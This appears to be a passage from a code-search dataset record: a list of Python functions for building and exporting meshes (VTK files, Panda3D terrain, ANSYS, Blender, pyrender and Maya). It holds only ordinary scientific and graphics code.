chargeFile.write(\"%s\\n\"%(\"ASCII\"))\n chargeFile.write(\"%s\\n\"%(\"DATASET UNSTRUCTURED_GRID\"))\n chargeFile.write(\"%s %i %s\\n\"%(\"POINTS\",len(self.points),\"double\"))\n dim = self.mesh.getSpaceDimensions()\n if (dim==2): \n for ind in range(0,len(self.points)):\n chargeFile.write(\"%15.8e %15.8e %15.8e\\n\"%(self.points[ind][0],\\\n self.points[ind][1],\\\n 0.))\n pass\n pass\n elif (dim==3): \n for ind in range(0,len(self.points)):\n chargeFile.write(\"%15.8e %15.8e %15.8e\\n\"%(self.points[ind][0],\\\n self.points[ind][1],\\\n self.points[ind][2]))\n pass\n pass\n else:\n raise Exception(\" error in mesh dimension \") \n numberOfCells = self.mesh.getNumberOfCells()\n connectivity = self.mesh.getConnectivity()\n\n cellListSize = 0\n for i in range(0,numberOfCells): # gmsh meshes: type of elements\n gmshType = connectivity[i][1]\n if gmshType == 1: # 2-node line\n cellListSize += 3\n pass\n elif gmshType == 2: # 3-node triangles\n cellListSize += 4\n pass\n elif gmshType == 3: # 4-node quadrangles\n cellListSize += 5\n pass\n elif gmshType == 4: # 4-node tetrahedron\n cellListSize += 5\n pass\n elif gmshType == 5: # 8-node hexahedrons\n cellListSize += 9\n pass\n pass\n chargeFile.write(\"CELLS %i %i\\n\"%(numberOfCells,cellListSize))\n ind = 0\n for cell in connectivity:\n ind = cell[2]+3\n# print \" ctm dbg cell \",vtkTyp,ind,cell,\" perm \",permutation[ind],permutation[ind+1],permutation[ind+2],permutation[ind+3]\n # \n vtkTyp = _vtkGmsh(cell[1])\n if (vtkTyp==3): # 2-node line\n ind = cell[2]+3\n chargeFile.write(\"%i %i %i\\n\"%(\n 2,\\\n cell[ind]-1,\\\n cell[ind+1]-1)\n )\n pass\n \n elif (vtkTyp==5): # triangles\n chargeFile.write(\"%i %i %i %i\\n\"%(\n 3, \n cell[ind]-1,\\\n cell[ind+1]-1,\\\n cell[ind+2]-1)\n )\n pass\n elif (vtkTyp==9): # quadr\n chargeFile.write(\"%i %i %i %i %i\\n\"%(\n 4,\\\n cell[ind]-1,\\\n cell[ind+1]-1,\\\n cell[ind+2]-1,\\\n cell[ind+3]-1)\n )\n pass\n elif (vtkTyp==10): # tetra\n chargeFile.write(\"%i %i %i %i %i\\n\"%(\n 4,\\\n cell[ind]-1,\\\n cell[ind+1]-1,\\\n cell[ind+2]-1,\\\n cell[ind+3]-1)\n )\n pass\n elif (vtkTyp==12): # hexahedron\n chargeFile.write(\"%i %i %i %i %i %i %i %i %i\\n\"%(\n 8,\\\n cell[ind]-1,\\\n cell[ind+1]-1,\\\n cell[ind+2]-1,\\\n cell[ind+3]-1,\\\n cell[ind+4]-1,\\\n cell[ind+5]-1,\\\n cell[ind+6]-1,\\\n cell[ind+7]-1)\n )\n pass\n pass\n chargeFile.write(\"%s %i\\n\"%(\"CELL_TYPES\",numberOfCells))\n#\n for i in range(0,numberOfCells):\n gmshType = connectivity[i][1]\n\n if (gmshType)==1:\n cellTyp = 3\n pass\n elif (gmshType)==2:\n cellTyp = 5\n pass\n elif (gmshType)==3:\n cellTyp = 9\n pass\n elif (gmshType)==4:\n cellTyp = 10\n pass\n elif (gmshType)==5:\n cellTyp = 12\n pass\n elif (gmshType)==6:\n cellTyp = 13\n pass\n elif gmshType == 7:\n cellTyp = 14\n pass\n else:\n raise Exception(\" check gmshtype \")\n chargeFile.write(\"%i\\n\"%(cellTyp))\n chargeFile.write(\"%s %d\\n\"%(\"POINT_DATA\",len(self.points)))\n chargeFile.write(\"%s\\n\"%(\"VECTORS vectors float\"))\n for velocityComponent in self.velocity:\n chargeFile.write(\" %e %e %e\\n \"%(velocityComponent[0], velocityComponent[1], velocityComponent[2]))\n chargeFile.write(\"%s\\n\"%(\"SCALARS charge double\"))\n chargeFile.write(\"%s\\n\"%(\"LOOKUP_TABLE default\"))\n#\n \n chargeDataFile=open(\"./\" + self.flowComponent.meshDirectoryName + \"/\" + \"HeVel.dat\",'r')\n line = chargeDataFile.readline()\n while \"Number Of Nodes\" not in line:\n line = chargeDataFile.readline()\n#line.split()\n nodesNumber = line.split()[-1]\n while \"Perm\" not in line:\n line = chargeDataFile.readline()\n#\n# We read the permutation\n#\n for i in range(int(nodesNumber)): chargeDataFile.readline()\n#\n# We read the charge\n#\n for i in range(int(nodesNumber)): chargeFile.write(\" %15.10e\\n \"%(float(chargeDataFile.readline())))","def setup_terrain(self):\r\n self.terrain_scale = LVector3(512, 512, 100)\r\n self.terrain_pos = LVector3(-256, -256, -70)\r\n # sample values for a 4096 x 4096px heightmap.\r\n #self.terrain_scale = LVector3(4096, 4096, 1000)\r\n #self.terrain_pos = LVector3(-2048, -2048, -70)\r\n \"\"\"\r\n Diamond_subdivision is an alternating triangulation scheme and may\r\n produce better results.\r\n \"\"\"\r\n use_diamond_subdivision = True\r\n \r\n \"\"\"\r\n Construct the terrain\r\n Without scaling, any ShaderTerrainMesh is 1x1x1 units.\r\n \"\"\"\r\n self.terrain_node = ShaderTerrainMesh()\r\n \"\"\"\r\n Set a heightfield, the heightfield should be a 16-bit png and\r\n have a quadratic size of a power of two.\r\n \"\"\"\r\n heightfield = Texture()\r\n heightfield.read(self.heightfield_fn)\r\n heightfield.set_keep_ram_image(True) \r\n self.terrain_node.heightfield = heightfield\r\n \r\n # Display characteristic values of the heightfield texture\r\n #minpoint, maxpoint, avg = LPoint3(), LPoint3(), LPoint3()\r\n #heightfield.calc_min_max(minpoint, maxpoint)\r\n #heightfield.calc_average_point(avg, 0.5, 0.5, 0.5)\r\n #print(\"avg: {} min: {} max: {}\".format(avg.x, minpoint.x, maxpoint.x))\r\n\r\n \"\"\"\r\n Set the target triangle width. For a value of 10.0 for example,\r\n the ShaderTerrainMesh will attempt to make every triangle 10 pixels\r\n wide on screen.\r\n \"\"\"\r\n self.terrain_node.target_triangle_width = 10.0\r\n if use_diamond_subdivision:\r\n \"\"\"\r\n This has to be specified before calling .generate()\r\n The default is false.\r\n \"\"\"\r\n load_prc_file_data(\"\", \"stm-use-hexagonal-layout true\")\r\n \r\n self.terrain_node.generate()\r\n \"\"\"\r\n Attach the terrain to the main scene and set its scale. With no scale\r\n set, the terrain ranges from (0, 0, 0) to (1, 1, 1)\r\n \"\"\"\r\n self.terrain = self.render.attach_new_node(self.terrain_node)\r\n self.terrain.set_scale(self.terrain_scale)\r\n self.terrain.set_pos(self.terrain_pos)\r\n \"\"\"\r\n Set a vertex and a fragment shader on the terrain. The\r\n ShaderTerrainMesh only works with an applied shader.\r\n \"\"\"\r\n terrain_shader = Shader.load(Shader.SL_GLSL, \r\n \"samples/shader-terrain/terrain.vert.glsl\", \r\n \"samples/shader-terrain/terrain.frag.glsl\")\r\n self.terrain.set_shader(terrain_shader)\r\n self.terrain.set_shader_input(\"camera\", base.camera)\r\n # Set some texture on the terrain\r\n grass_tex = self.loader.load_texture(\r\n \"samples/shader-terrain/textures/grass.png\")\r\n grass_tex.set_minfilter(SamplerState.FT_linear_mipmap_linear)\r\n grass_tex.set_anisotropic_degree(16)\r\n self.terrain.set_texture(grass_tex)\r\n\r\n \"\"\"\r\n Set up the DynamicHeightfield (it's a type of PfmFile). We load the\r\n same heightfield image as with ShaderTerrainMesh.\r\n \"\"\"\r\n self.DHF = DynamicHeightfield()\r\n self.DHF.read(self.heightfield_fn)\r\n \"\"\"\r\n Set up empty PfmFiles to prepare stuff in that is going to\r\n dynamically modify our terrain.\r\n \"\"\"\r\n self.StagingPFM = PfmFile()\r\n self.RotorPFM = PfmFile()\r\n \r\n \"\"\"\r\n Set up the BulletHeightfieldShape (=collision terrain) and give it\r\n some sensible physical properties.\r\n \"\"\"\r\n self.HFS = BulletHeightfieldShape(self.DHF, self.terrain_scale.z,\r\n STM=True)\r\n if use_diamond_subdivision:\r\n self.HFS.set_use_diamond_subdivision(True)\r\n HFS_rigidbody = BulletRigidBodyNode(\"BulletTerrain\")\r\n HFS_rigidbody.set_static(True)\r\n friction = 2.0\r\n HFS_rigidbody.set_anisotropic_friction(\r\n LVector3(friction, friction, friction/1.3))\r\n HFS_rigidbody.set_restitution(0.3)\r\n HFS_rigidbody.add_shape(self.HFS)\r\n self.world.attach(HFS_rigidbody)\r\n \r\n HFS_NP = NodePath(HFS_rigidbody)\r\n HFS_NP.reparent_to(self.worldNP)\r\n \"\"\"\r\n This aligns the Bullet terrain with the ShaderTerrainMesh rendered\r\n terrain. It will be exact as long as the terrain vertex shader from\r\n the STM sample is used and no additional tessellation shader.\r\n For Bullet (as for other physics engines) the origin of objects is at\r\n the center.\r\n \"\"\"\r\n HFS_NP.set_pos(self.terrain_pos + self.terrain_scale/2)\r\n HFS_NP.set_sx(self.terrain_scale.x / heightfield.get_x_size())\r\n HFS_NP.set_sy(self.terrain_scale.y / heightfield.get_y_size())\r\n \r\n # Disables Bullet debug rendering for the terrain, because it is slow.\r\n #HFS_NP.node().set_debug_enabled(False)\r\n \r\n \"\"\"\r\n Finally, link the ShaderTerrainMesh and the BulletHeightfieldShape to\r\n the DynamicHeightfield. From now on changes to the DynamicHeightfield\r\n will propagate to the (visible) ShaderTerrainMesh and the (collidable)\r\n BulletHeightfieldShape.\r\n \"\"\"\r\n self.HFS.set_dynamic_heightfield(self.DHF)\r\n self.terrain_node.set_dynamic_heightfield(self.DHF)","def __init__(self, mesh, **kwargs):\n Parameters = namedtuple(\"Parameters\", [\"C\", \"a\", \"b\", \"gl\", \"El\", \"Delta_t\", \"Vt\", \"tau_w\"])\n default_params = {\"C\" : 281, # Membrane capacitance (pF)\n \"gl\" : 30, # Leak conductance (ns) \n \"El\" : -70.6, # Leak reversal potential (mV)\n \"Vt\" : -50.4, # Spike threshold (mV)\n \"Delta_t\" : 2, # Slop factor (mV)\n \"tau_w\" : 144, # Adaptation time constant (ms)\n \"a\" : 4, # Subthreshold adaptation (nS)\n \"b\" : 0.085 # Spike-triggered adaptation (nA) \n }\n\n # Make sure input parameters only has keys in default params \n assert set(kwargs.keys()) <= set(default_params)\n\n for key in defaultparams:\n defaultparams[key] = Constant(params[key])\n\n self.mesh = mesh\n self.params = Parameters(**default_params) # parameters subscriptable by name","def setMesh(self, sigma=0.1, max_depth_core=3000., ncell_per_skind=10, n_skind=2, core_meshType=\"linear\", max_hz_core=None):\n rho = 1./sigma\n fmin, fmax = self.frequency.min(), self.frequency.max()\n print (\n (\">> Smallest cell size = %d m\") % (500*np.sqrt(rho/fmax) / ncell_per_skind)\n )\n print (\n (\">> Padding distance = %d m\") % (500*np.sqrt(rho/fmin) * n_skind)\n )\n cs = 500*np.sqrt(rho/fmax) / ncell_per_skind\n length_bc = 500*np.sqrt(100/fmin) * n_skind\n\n if core_meshType == \"linear\":\n\n max_hz_core = cs\n\n elif core_meshType == \"log\":\n\n if max_hz_core is None:\n max_hz_core = cs * 10\n\n ncz = 2\n hz_core = np.logspace(np.log10(cs), np.log10(max_hz_core), ncz)\n\n while hz_core.sum() < max_depth_core:\n ncz += 1\n hz_core = np.logspace(np.log10(cs), np.log10(max_hz_core), ncz)\n\n npad = 1\n blength = max_hz_core*1.3**(np.arange(npad)+1)\n\n while blength < length_bc:\n npad += 1\n blength = (max_hz_core*1.3**(np.arange(npad)+1)).sum()\n print (\n (\">> # of padding cells %d\") % (npad)\n )\n\n if core_meshType == \"linear\":\n ncz = int(max_depth_core / cs)\n hz = [(cs, npad, -1.3), (cs, ncz)]\n elif core_meshType == \"log\":\n hz_pad = max_hz_core * 1.3**(np.arange(npad)+1)\n hz = np.r_[hz_pad[::-1], hz_core[::-1]]\n\n print (\n (\">> # of core cells cells %d\") % (ncz)\n )\n mesh = Mesh.TensorMesh([hz], x0='N')\n\n return mesh","def set_mesh(\n self,\n edge_pt_min: int = 15,\n edge_pt_max=20,\n mesh_elements: str = \"Quad\",\n global_mesh_size: float = 0.25,\n max_surf_offset: float = 0.01,\n max_dihedral_angle: float = 15,\n ):\n if self.comm.rank == 0:\n self._aim.input.Edge_Point_Min = edge_pt_min\n self._aim.input.Edge_Point_Max = edge_pt_max\n self._aim.input.Mesh_Elements = mesh_elements\n self._aim.input.Tess_Params = [\n global_mesh_size,\n max_surf_offset,\n max_dihedral_angle,\n ]\n self._is_setup = True\n return self","def create( vertices, faces, colour=(0.6,0.6,0.6) ):\r\n \r\n mesh = GLUtils.GLMesh()\r\n \r\n for vertex in vertices:\r\n mesh.addVertex( PyUtils.toPoint3d(vertex) )\r\n \r\n for face in faces:\r\n poly = GLUtils.GLIndexedPoly()\r\n for index in face:\r\n poly.addVertexIndex( index )\r\n mesh.addPoly(poly)\r\n \r\n try:\r\n mesh.setColour( *colour )\r\n except TypeError:\r\n mesh.setColour( *(colour + (1,)) )\r\n\r\n mesh.computeNormals()\r\n\r\n return mesh","def makemesh(pts,vec,growsize=0.2,curvilinear_neighbors=10,\n\tcurvilinear=True,debug=False,growsize_nm=None,excise=True,areas_only=False):\n\tif debug: \n\t\timport time\n\t\tst = time.time()\n\t\tdef checkpoint(note):\n\t\t\tprint(note)\n\t\t\tst = time.time()\n\n\tnmol = len(pts)\n\tpts = pts\n\tvec = vec\n\tif debug: \n\t\timport time\n\t\tst = time.time()\n\t\tprint(\"[STATUS] start makemesh %0.2f\"%(time.time()-st))\n\tptsb,ptsb_inds = beyonder(pts,vec,growsize=growsize,growsize_nm=growsize_nm,return_ids=True)\n\tif debug: print(\"[STATUS] project curvilinear=\"+str(curvilinear)+\" %0.2f\"%(time.time()-st))\n\t#---if curvilinear then use the isomap otherwise project onto the xy plane\n\tif curvilinear: \n\t\timport sklearn\n\t\tfrom sklearn import manifold\n\t\tproj = manifold.Isomap(curvilinear_neighbors,2).fit_transform(ptsb)\n\telse: proj = ptsb[...,:2]\n\tif debug: checkpoint(\"[STATUS] delaunay %0.2f\"%(time.time()-st))\n\tif debug: checkpoint(\"[STATUS] shape=\"+str(np.shape(ptsb)))\n\tdl = scipy.spatial.Delaunay(proj)\n\tif debug: checkpoint(\"[STATUS] reclock %0.2f\"%(time.time()-st))\n\tsimplices = np.array([a[reclock(ptsb[a])] for a in dl.simplices])\n\t#---rework simplices and ptsb to exclude superfluous points\n\tif debug: checkpoint(\"[STATUS] trim %0.2f\"%(time.time()-st))\n\t#---relevants is a unique list of simplices with exactly one member that is equal to a core vertex point\n\trelevants = np.unique(np.concatenate([simplices[\n\t\tnp.where(np.sum(simplices==i,axis=1)==1)[0]] for i in range(nmol)]))\n\tpoints = ptsb[relevants]\n\tghost_indices = ptsb_inds[relevants]\n\tptsb = points\n\n\tif debug: checkpoint(\"[STATUS] simplices %0.2f\"%(time.time()-st))\n\tsimplices = np.array([[np.where(relevants==r)[0][0] for r in s] \n\t\tfor s in simplices if np.all([r in relevants for r in s])])\n\t#---end rework\n\tif debug: checkpoint(\"[STATUS] areas %0.2f\"%(time.time()-st))\n\tareas = np.array([triarea(ptsb[a]) for a in simplices])\n\tif areas_only: return {'simplices':simplices,'areas':areas,'nmol':nmol,'vec':vec,'points':points}\n\tif debug: checkpoint(\"[STATUS] facenorms %0.2f\"%(time.time()-st))\n\tfacenorms = np.array([vecnorm(facenorm(ptsb[a])) for a in simplices])\t\n\tif debug: checkpoint(\"[STATUS] vertex-to-simplex %0.2f\"%(time.time()-st))\n\tv2s = [np.where(np.any(simplices==i,axis=1))[0] for i in range(nmol)]\n\tif debug: checkpoint(\"[STATUS] vertex normals %0.2f\"%(time.time()-st))\n\tvertnorms = np.array([vecnorm(np.sum(facenorms[ind]*\\\n\t\tnp.transpose([areas[ind]/np.sum(areas[ind])]),axis=0)) for ind in v2s])\n\tprincipals = np.zeros((nmol,2))\n\tnl = []\n\tif debug: checkpoint(\"[STATUS] curvatures %0.2f\"%(time.time()-st))\n\tfor v in range(nmol):\n\t\tneighbors = np.unique(simplices[np.where(np.any(simplices==v,axis=1))[0]])\n\t\tneighbors = neighbors[neighbors!=v]\n\t\tnl.append(neighbors)\n\t\tedges = ptsb[neighbors]-ptsb[v]\n\t\tweights = [areas[sl]/2./np.sum(areas[v2s[v]]) for sl in v2s[v]]\n\t\ttijs = [vecnorm(np.dot(np.identity(3)-np.outer(vertnorms[v],\n\t\t\tvertnorms[v].T),ab)) for ab in edges]\n\t\tkijs = [np.dot(vertnorms[v].T,ab)/linalg.norm(ab)**2 for ab in edges]\n\t\tct = np.sum([weights[ind]*kijs[ind]*np.outer(tijs[ind],tijs[ind]) \n\t\t\tfor ind,i in enumerate(v2s[v])],axis=0)\n\t\twsign = 1-2*(linalg.norm(np.array([1,0,0])+\\\n\t\t\tvertnorms[v])<linalg.norm(np.array([1,0,0])-vertnorms[v]))\n\t\twvi = vecnorm(np.array([1,0,0])+wsign*vertnorms[v])\n\t\thm = np.identity(3)-2*np.outer(wvi,wvi.T)\n\t\thhm = np.dot(np.dot(hm.T,ct),hm)\n\t\tprincipals[v] = -1*hhm[1,1],-1*hhm[2,2]\n\tif debug: checkpoint(\"[STATUS] PBC neighborlist %0.2f\"%(time.time()-st))\n\t#---neighborlist under PBCs\n\tchecksubssort,nlsubs = np.where(torusnorm(points[nmol:],points[:nmol],vec)==0)\n\t#if not all(checksubssort==np.arange(len(points)-nmol)): raise Exception('torusnorm lookup fail')\n\ttry: nlpbc = [[(i if i<nmol else nlsubs[i-nmol]) for i in n] for n in nl]\n\texcept: nlpbc = []\n\tgauss = (3*principals[:,0]-principals[:,1])*(3*principals[:,1]-\\\n\t\tprincipals[:,0])\n\tmean = 1./2*((3*principals[:,0]-principals[:,1])+\\\n\t\t(3*principals[:,1]-principals[:,0]))\n\tif debug: checkpoint(\"[STATUS] complete %0.2f\"%(time.time()-st))\n\n\tif debug:\n\t\timport matplotlib as mpl;import matplotlib.pylab as plt\n\t\tplt.scatter(points[:,0],points[:,1])\n\t\tplt.show()\n\t\timport pdb;pdb.set_trace()\n\n\treturn {'nmol':nmol,'vec':vec,'simplices':simplices,'points':points,\n\t\t'areas':areas,'facenorms':facenorms,'vertnorms':vertnorms,'principals':principals,\n\t\t'ghost_ids':ghost_indices,'gauss':gauss,'mean':mean}"],"string":"[\n \"def createMesh(self, chem, coord_x_start, coord_y_start) :\\r\\n init_conc = .0\\r\\n self.compParDiff(chem)\\r\\n comp.Comp.createMeshHomo(self, 'SC', chem, init_conc, coord_x_start, coord_y_start)\\r\\n #self.meshes[0].setConc(1)\\r\",\n \"def MeshMachine(main):\\n\\n # oDesign definition\\n oDesign = main['ANSYS']['oDesign']\\n\\n # Data for the rotor mesh\\n RotorName = main['ANSYS']['Rotor&Magnets']['Name'][0]\\n RotorNumMaxElem = main['ANSYS']['Mesh']['Rotor']['NumMaxElem']\\n RotorMaxLength = main['ANSYS']['Mesh']['Rotor']['MaxLength']\\n\\n # Data for the magnets mesh\\n PMNames = main['ANSYS']['Rotor&Magnets']['PMNames']\\n PMNumMaxElem = main['ANSYS']['Mesh']['Magnets']['NumMaxElem']\\n PMMaxLength = main['ANSYS']['Mesh']['Magnets']['MaxLength']\\n\\n # Data for the Stator mesh\\n StatorName = main['ANSYS']['Stator']['Name']\\n StatorNormalDev = main['ANSYS']['Mesh']['Stator']['NormalDev']\\n StatorAspectRatio = main['ANSYS']['Mesh']['Stator']['AspectRatio']\\n\\n # Data for the Stator mesh\\n CoilNames = main['ANSYS']['Winding']['CoilNames']\\n WindingNumMaxElem = main['ANSYS']['Mesh']['Winding']['NumMaxElem']\\n WindingMaxLength = main['ANSYS']['Mesh']['Winding']['MaxLength']\\n\\n WindingName = []\\n for phase in CoilNames:\\n for direction in phase:\\n WindingName += direction\\n\\n # Creating meshes\\n oModule = oDesign.GetModule(\\\"MeshSetup\\\")\\n\\n # Rotor meshes\\n oModule.AssignLengthOp(\\n [\\n \\\"NAME:Rotor\\\",\\n \\\"RefineInside:=\\\", True,\\n \\\"Enabled:=\\\", True,\\n \\\"Objects:=\\\", [RotorName],\\n \\\"RestrictElem:=\\\", False,\\n \\\"NumMaxElem:=\\\", str(RotorNumMaxElem),\\n \\\"RestrictLength:=\\\", True,\\n \\\"MaxLength:=\\\", str(RotorMaxLength)+\\\"mm\\\"\\n ]\\n )\\n # Magnet meshes\\n oModule.AssignLengthOp(\\n [\\n \\\"NAME:Magnets\\\",\\n \\\"RefineInside:=\\\", True,\\n \\\"Enabled:=\\\", True,\\n \\\"Objects:=\\\", PMNames,\\n \\\"RestrictElem:=\\\", False,\\n \\\"NumMaxElem:=\\\", str(PMNumMaxElem),\\n \\\"RestrictLength:=\\\", True,\\n \\\"MaxLength:=\\\", str(PMMaxLength)+\\\"mm\\\"\\n ]\\n )\\n # Stator meshes\\n oModule.AssignTrueSurfOp(\\n [\\n \\\"NAME:Stator\\\",\\n \\\"Objects:=\\\", [StatorName],\\n \\\"CurvedSurfaceApproxChoice:=\\\", \\\"ManualSettings\\\",\\n \\\"SurfDevChoice:=\\\", 0,\\n \\\"NormalDevChoice:=\\\", 2,\\n \\\"NormalDev:=\\\", str(StatorNormalDev) + \\\"deg\\\",\\n \\\"AspectRatioChoice:=\\\", 2,\\n \\\"AspectRatio:=\\\", str(StatorAspectRatio)\\n ]\\n )\\n\\n # Coil meshes\\n oModule.AssignLengthOp(\\n [\\n \\\"NAME:Coils\\\",\\n \\\"RefineInside:=\\\"\\t, True,\\n \\\"Enabled:=\\\"\\t\\t, True,\\n \\\"Objects:=\\\"\\t\\t, WindingName,\\n \\\"RestrictElem:=\\\"\\t, False,\\n \\\"NumMaxElem:=\\\"\\t\\t, str(WindingNumMaxElem),\\n \\\"RestrictLength:=\\\"\\t, True,\\n \\\"MaxLength:=\\\"\\t\\t, str(WindingMaxLength) +\\\"mm\\\"\\n ]\\n )\\n\\n return main\",\n \"def create_mesh(name):\\n return bpy.data.meshes.new(name)\",\n \"def CreateDummyLowerDimensionalMesh(self):\\n\\n\\n sys.stdout = open(os.devnull, \\\"w\\\")\\n p = self.InferPolynomialDegree()\\n mesh = Mesh()\\n if self.element_type == \\\"tet\\\":\\n mesh.Rectangle(nx=1,ny=1, element_type=\\\"tri\\\")\\n mesh.GetHighOrderMesh(p=p)\\n elif self.element_type == \\\"hex\\\":\\n mesh.Rectangle(nx=1,ny=1, element_type=\\\"quad\\\")\\n mesh.GetHighOrderMesh(p=p)\\n elif self.element_type == \\\"tri\\\" or self.element_type == \\\"quad\\\":\\n mesh.Line(n=1, p=p)\\n elif self.element_type == \\\"line\\\":\\n mesh.element_type = \\\"point\\\"\\n mesh.nelem = 1\\n mesh.nnode = 1\\n mesh.degree = p\\n mesh.elements = np.array([[0]])\\n mesh.points = np.array([[0.,0.,0.]])\\n sys.stdout = sys.__stdout__\\n\\n return mesh\",\n \"def create_mesh(self):\\n print(\\\"create_mesh\\\")\\n faces = self.get_faces()\\n print(\\\"num faces: {}\\\".format(len(faces)))\\n\\n # TODO: perform face filtering to remove long edges in Z direction\\n # filtered_faces = self.get_filtered_faces(faces)\\n # print(\\\"num filtered faces: {}\\\".format(len(filtered_faces)))\\n\\n vertices = self.xyz_points.T\\n\\n # handle texture mappings\\n vertex_index_to_texture = []\\n for j in range(0, self.height):\\n for i in range(0, self.width):\\n # vertex_index = (j * self.width) + ij\\n w = i / self.width\\n h = (self.height - j - 1) / self.height\\n vertex_index_to_texture.append(\\n (w, h)\\n )\\n\\n # Create material.\\n # TODO: make the string/filename randomly generated and unique\\n file0 = open(os.path.join(self.args.path, \\\"triangle_mesh.obj.mtl\\\"), \\\"w\\\") # write mode\\n file0.write(\\\"newmtl material_0\\\\n\\\")\\n # Save image here.\\n cv2.imwrite(os.path.join(self.args.path, \\\"triangle_mesh.png\\\"), self.bgr)\\n file0.write(\\\"map_Kd triangle_mesh.png\\\\n\\\")\\n file0.close()\\n\\n # https://en.wikipedia.org/wiki/Wavefront_.obj_file\\n # https://github.com/mmatl/pyrender/blob/master/examples/models/fuze.obj\\n obj_path = os.path.join(self.args.path, \\\"triangle_mesh.obj\\\")\\n file1 = open(obj_path, \\\"w\\\") # write mode\\n file1.write(\\\"mtllib ./triangle_mesh.obj.mtl\\\\n\\\")\\n for vertex in vertices:\\n x, y, z = vertex\\n file1.write(\\\"v {} {} {}\\\\n\\\".format(x, y, z))\\n file1.write(\\\"usemtl material_0\\\\n\\\")\\n for w, h in vertex_index_to_texture:\\n file1.write(\\\"vt {} {}\\\\n\\\".format(w, h))\\n for face in faces:\\n a, b, c = face\\n a += 1\\n b += 1\\n c += 1\\n file1.write(\\\"f {}/{} {}/{} {}/{}\\\\n\\\".format(\\n a, a, b, b, c, c\\n )\\n )\\n file1.close()\\n\\n # Load the trimesh from OBJ file.\\n trimesh_mesh = trimesh.load(obj_path)\\n # trimesh_mesh.show()\\n\\n mesh = pyrender.Mesh.from_trimesh(trimesh_mesh, smooth=False)\\n self.scene = pyrender.Scene(ambient_light=[3.0, 3.0, 3.0])\\n\\n camera = pyrender.IntrinsicsCamera(\\n self.focal_length, self.focal_length, self.width / 2, self.height / 2\\n )\\n self.camera_pose = np.array([\\n [1.0, 0.0, 0.0, 0.0],\\n [0.0, 1.0, 0.0, 0.0],\\n [0.0, 0.0, 1.0, 0.0],\\n [0.0, 0.0, 0.0, 1.0],\\n ])\\n # https://pyrender.readthedocs.io/en/latest/examples/cameras.html#creating-cameras\\n # https://docs.scipy.org/doc/scipy/reference/generated/scipy.spatial.transform.Rotation.html\\n r = R.from_rotvec(np.array([0, np.pi, 0]))\\n r = R.from_rotvec(np.array([0.0, 0, np.pi])) * r\\n matrix = r.as_matrix()\\n self.camera_pose[:3, :3] = matrix\\n\\n light = pyrender.PointLight(\\n color=[1.0, 1.0, 1.0],\\n intensity=0.0\\n )\\n\\n self.nm = pyrender.Node(mesh=mesh, matrix=np.eye(4))\\n self.nl = pyrender.Node(light=light, matrix=np.eye(4))\\n self.nc = pyrender.Node(camera=camera, matrix=np.eye(4))\\n self.scene.add_node(self.nm)\\n self.scene.add_node(self.nl)\\n self.scene.add_node(self.nc)\\n\\n # Set the pose and show the image.\\n temppose = self.extrinsics @ self.camera_pose\\n self.scene.set_pose(self.nl, pose=temppose)\\n self.scene.set_pose(self.nc, pose=temppose)\\n pyrender.Viewer(self.scene, use_raymond_lighting=True,\\n viewport_size=(self.width, self.height))\",\n \"def create_simpleMesh(self, forceNew = True, skin = False,connect=True,reverseNormal = None,\\n deleteHistory=False,loftMode = None ):#'evenCubic'\\n _str_func = 'create_simpleMesh'\\n log.debug(\\\"|{0}| >> forceNew: {1} | skin: {2} \\\".format(_str_func,forceNew,skin)+ '-'*80)\\n log.debug(\\\"{0}\\\".format(self))\\n \\n if self.getMayaAttr('isBlockFrame'):\\n log.debug(cgmGEN.logString_sub(_str_func,'blockFrame bypass'))\\n return \\n \\n mParent = False\\n #Check for existance of mesh ========================================================================\\n if connect:\\n bfr = self.msgList_get('simpleMesh',asMeta=True)\\n if skin and bfr:\\n log.debug(\\\"|{0}| >> simpleMesh detected...\\\".format(_str_func)) \\n if forceNew:\\n log.debug(\\\"|{0}| >> force new...\\\".format(_str_func)) \\n mc.delete([mObj.mNode for mObj in bfr])\\n else:\\n return bfr\\n if skin:\\n mModuleTarget = self.getMessageAsMeta('moduleTarget')\\n if not mModuleTarget:\\n return log.error(\\\"|{0}| >> Must have moduleTarget for skining mode\\\".format(_str_func)) \\n mPuppet = puppet_get(self,mModuleTarget)\\n if not mPuppet:\\n return log.error(\\\"|{0}| >> Must have puppet for skining mode\\\".format(_str_func))\\n mGeoGroup = mPuppet.masterNull.geoGroup\\n mParent = mGeoGroup\\n log.debug(\\\"|{0}| >> mPuppet: {1}\\\".format(_str_func,mPuppet))\\n log.debug(\\\"|{0}| >> mGeoGroup: {1}\\\".format(_str_func,mGeoGroup)) \\n log.debug(\\\"|{0}| >> mModuleTarget: {1}\\\".format(_str_func,mModuleTarget))\\n \\n #BlockModule call? ====================================================================================\\n mBlockModule = self.p_blockModule\\n if mBlockModule.__dict__.has_key('create_simpleMesh'):\\n log.debug(\\\"|{0}| >> BlockModule 'create_simpleMesh' call found...\\\".format(_str_func)) \\n ml_mesh = mBlockModule.create_simpleMesh(self,skin=skin,parent=mParent,deleteHistory=deleteHistory)\\n \\n else:#Create ======================================================================================\\n if not loftMode:\\n if self.getEnumValueString('loftDegree') == 'cubic':\\n loftMode = 'evenCubic'\\n else:\\n loftMode = 'evenLinear'\\n \\n \\n kws = {}\\n if self.blockType in ['limb']:\\n if self.addLeverBase and self.getEnumValueString('addLeverBase') != 'joint' and skin:\\n kws['skip'] = [0]\\n \\n ml_mesh = create_simpleLoftMesh(self,form=2,degree=None,divisions=2,deleteHistory=deleteHistory,loftMode=loftMode,**kws)\\n \\n \\n #Get if skin data -------------------------------------------------------------------------------\\n if skin:\\n log.debug(\\\"|{0}| >> skinnable? ...\\\".format(_str_func)) \\n ml_moduleJoints = mModuleTarget.rigNull.msgList_get('moduleJoints')\\n if not ml_moduleJoints:\\n return log.error(\\\"|{0}| >> Must have moduleJoints for skining mode\\\".format(_str_func))\\n log.debug(\\\"|{0}| >> ml_moduleJoints: {1}\\\".format(_str_func,ml_moduleJoints)) \\n\\n md_parents = {}#We're going to un parent our joints before skinning and then reparent\\n for i,mJnt in enumerate(ml_moduleJoints):\\n md_parents[mJnt] = mJnt.getParent(asMeta=True)\\n if i:mJnt.p_parent = ml_moduleJoints[i-1]\\n \\n\\n log.debug(\\\"|{0}| >> skinning..\\\".format(_str_func))\\n #l_joints= [mJnt.mNode for mJnt in ml_moduleJoints]\\n for mMesh in ml_mesh:\\n log.debug(\\\"|{0}| >> skinning {1}\\\".format(_str_func,mMesh))\\n mMesh.p_parent = mParent\\n \\n MRSPOST.skin_mesh(mMesh,ml_moduleJoints)\\n \\n \\\"\\\"\\\"\\n #mMesh.doCopyPivot(mGeoGroup.mNode)\\n try:\\n skin = 